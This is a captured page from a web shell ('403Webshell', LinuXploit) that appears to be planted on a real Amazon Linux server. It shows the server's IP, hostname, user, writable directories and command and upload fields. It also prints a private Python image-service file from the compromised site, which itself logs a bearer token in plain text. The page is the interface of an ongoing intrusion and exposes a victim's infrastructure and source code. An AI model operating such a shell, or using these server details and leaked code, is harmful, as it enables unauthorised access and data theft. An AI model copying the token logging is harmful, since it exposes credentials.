403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.88
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/www/html/api.turmansolutions.ai/app/services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/www/html/api.turmansolutions.ai/app/services/image.py
import base64
import datetime
import logging
import os
import io
from PIL import Image
import requests

from app.appTypes import PathSegment, SiteConfig
from app.clients import async_openai_client, openai_client
from app.services import usage_history
from app.utilities.path_utils import PathUtils

from dotenv import load_dotenv
load_dotenv()

path_utils = PathUtils()

ALLOWED_EXTENSIONS = {".jpg", ".jpeg", ".png", ".gif", ".webp"}


def get_default_image_format() -> str:
    """Read IMAGE_STORAGE_FORMAT from env. Returns 'png' or 'jpeg', defaults to 'png'."""
    fmt = os.environ.get('IMAGE_STORAGE_FORMAT', 'png').lower()
    if fmt in ('png', 'jpeg'):
        return fmt
    return 'png'


class ImageService:

    def __init__(self):
        self._last_base64_data = None

    async def create_image(self, prompt: str, site: SiteConfig, size: str = "1536x1024", quality: str = "medium", output_format: str = None) -> list:
        """
        Generate image using OpenAI Images API with gpt-image-1.5

        Args:
            prompt: Text description of the image to generate
            site: Site configuration for file storage
            size: Image dimensions (default: 1536x1024 landscape)
            quality: Image quality - low, medium, high (default: medium)
            output_format: Image format - png, jpeg, webp (default: env IMAGE_STORAGE_FORMAT)

        Returns:
            List of image URLs
        """
        resolved_format = output_format or get_default_image_format()

        response = await async_openai_client.images.generate(
            model="gpt-image-1.5",
            prompt=prompt,
            size=size,
            quality=quality,
            output_format=resolved_format,
        )

        image_data = response.data[0].b64_json
        if image_data:
            usage_history.record_image(
                model='gpt-image-1.5',
                size=size,
                quality=quality,
                operation='article_image',
                b64=image_data,
                site_slug=site.slug,
            )
            self._last_base64_data = image_data
            return self.save_b64_and_get_url(image_data, site, resolved_format)

        return []

    def save_b64_and_get_url(self, image_base64: str, site: SiteConfig, output_format: str = "png") -> list:
        """
        Helper method to save base64 image and return URL

        Args:
            image_base64: Base64 encoded image data
            site: Site configuration for file storage
            output_format: Image format for saving

        Returns:
            List containing the image URL
        """
        create_dir = path_utils.get_site_files_dir(site) + PathSegment.CHATBOT_CREATE.value
        file_path = self.save_base64_image(create_dir, image_base64, output_format=output_format)

        if not file_path:
            logging.error(f"Failed to persist image to {create_dir} (see prior error)")
            return []

        myHost = os.environ.get('DRUPAL_HOST')
        if not myHost:
            logging.error("DRUPAL_HOST environment variable not set")
            return []

        my_url = myHost + file_path[len(path_utils.get_drupal_base_dir()):]
        return [my_url]

    def get_last_generated_base64(self):
        """Return and clear the base64 data from the last generated image"""
        data = self._last_base64_data
        self._last_base64_data = None  # Clear after retrieval to free memory
        return data

    def reduce_png_size(self, base64_data, output_width=None, output_height=None, output_quality=80):
        image_data = base64.b64decode(base64_data)
        image = Image.open(io.BytesIO(image_data))
        if output_width and output_height:
            image = image.resize((output_width, output_height))
        output_buffer = io.BytesIO()
        image.save(output_buffer, format='PNG',
                   optimize=True, quality=output_quality)
        compressed_data = output_buffer.getvalue()
        compressed_base64 = base64.b64encode(compressed_data).decode('utf-8')
        return compressed_base64

    def save_base64_image(self, directory, base64_image, file_prefix="", output_format="png"):
        try:
            fmt = output_format.value if hasattr(output_format, 'value') else output_format
            ext = fmt if fmt in ('png', 'jpeg', 'webp') else 'png'

            # Only compress for PNG output; JPEG/WebP are already optimized by the API
            if ext == 'png':
                save_data = self.reduce_png_size(
                    base64_image, output_width=None, output_height=None, output_quality=60)
            else:
                save_data = base64_image

            os.makedirs(directory, exist_ok=True)
            logging.info(
                f"saving b64 image to {directory} prefix {file_prefix} format {ext}")
            current_date = datetime.date.today().strftime("%Y-%m-%d")
            # Each logical image owns one basename across every supported
            # extension, so transcodes group with their source. A fresh save
            # in any format advances the -N suffix if another format already
            # claimed the basename today.
            base_stem = f"{file_prefix}{current_date}"
            stem = base_stem
            suffix = 0
            while self._basename_in_use(directory, stem):
                suffix += 1
                stem = f"{base_stem}-{suffix}"
            file_name = f"{stem}.{ext}"
            file_path = os.path.join(directory, file_name)

            image_data = base64.b64decode(save_data)
            with open(file_path, "wb") as image_file:
                image_file.write(image_data)

            logging.info(f"Image saved successfully as {file_path}")
            try:
                self.get_or_create_thumbnail(file_path)
            except Exception as thumb_err:
                logging.warning(f"Could not pre-generate thumbnail for {file_path}: {thumb_err}")
            return file_path
        except Exception as e:
            logging.error(
                f"Error saving b64 image to {directory}: {e}", exc_info=True)
            return None

    def png_to_jpg(self, png_path: str, jpg_path: str, compression_level: int):
        with Image.open(png_path) as img:
            img = img.convert("RGB")
            img.save(jpg_path, "JPEG", quality=compression_level)

    def png_to_webp(self, png_path: str, webp_path: str, compression_level: int):
        with Image.open(png_path) as img:
            # Keep original mode to preserve transparency if present
            img.save(webp_path, "WEBP", quality=compression_level)

    def get_compressed_jpg_size(self, png_path: str, compression_level: int) -> int:
        with Image.open(png_path) as img:
            img = img.convert("RGB")
            with io.BytesIO() as output:
                img.save(output, "JPEG", quality=compression_level)
                size = output.tell()
        return size

    @staticmethod
    def _basename_in_use(directory: str, stem: str) -> bool:
        for candidate_ext in ALLOWED_EXTENSIONS:
            if os.path.exists(os.path.join(directory, f"{stem}{candidate_ext}")):
                return True
        return False

    def get_unique_webp_path(self, png_path):
        # Variants of the same source share a basename — the webp transcode
        # just swaps the extension. Re-transcoding overwrites the prior webp.
        return png_path.rsplit('.', 1)[0] + '.webp'

    def get_or_create_thumbnail(self, source_path: str, size: int = 200, quality: int = 70) -> str:
        """Generate a thumbnail for the given image, cached to a thumb/ subdirectory.

        Returns the absolute path to the thumbnail file.
        """
        source_dir = os.path.dirname(source_path)
        thumb_dir = os.path.join(source_dir, 'thumb')
        basename = os.path.splitext(os.path.basename(source_path))[0]
        thumb_path = os.path.join(thumb_dir, f"{basename}.jpg")

        # Cache hit: thumbnail exists and is newer than source
        if os.path.exists(thumb_path):
            if os.path.getmtime(thumb_path) >= os.path.getmtime(source_path):
                return thumb_path

        os.makedirs(thumb_dir, exist_ok=True)

        with Image.open(source_path) as img:
            img = img.convert("RGB")
            img.thumbnail((size, size))
            img.save(thumb_path, "JPEG", quality=quality)

        return thumb_path

    # rename this function - it adds the image to the media library
    def compress_and_save(self, site, token, url, compression_level):
        logging.info(f'token is {token}')

        png_path = path_utils.url_to_file_path(url, site)
        webp_path = self.get_unique_webp_path(png_path)

        self.png_to_webp(png_path, webp_path, compression_level)

        try:
            self.get_or_create_thumbnail(webp_path)
        except Exception as thumb_err:
            logging.warning(f"Could not pre-generate thumbnail for {webp_path}: {thumb_err}")

        filename = webp_path.split('/')[-1]
        logging.info(f'filename is {filename}')

        media_url = f"{site.wp_host}/wp-json/wp/v2/media"

        headers = {
            'Content-Disposition': f'attachment; filename={filename}',
            'Authorization': f'Bearer {token}'
        }

        with open(webp_path, 'rb') as img:
            file = {'file': img}
            logging.info(f'file: {file}')
            myResponse = requests.post(media_url, headers=headers, files=file)

        if myResponse.status_code == 201:
            return myResponse.json()
        else:
            logging.error(f'WordPress media upload failed with status {myResponse.status_code}')
            logging.error(f'Response body: {myResponse.text}')
            return {
                'error': myResponse.status_code,
                'message': myResponse.text
            }

Youez - 2016 - github.com/yon3zu
LinuXploit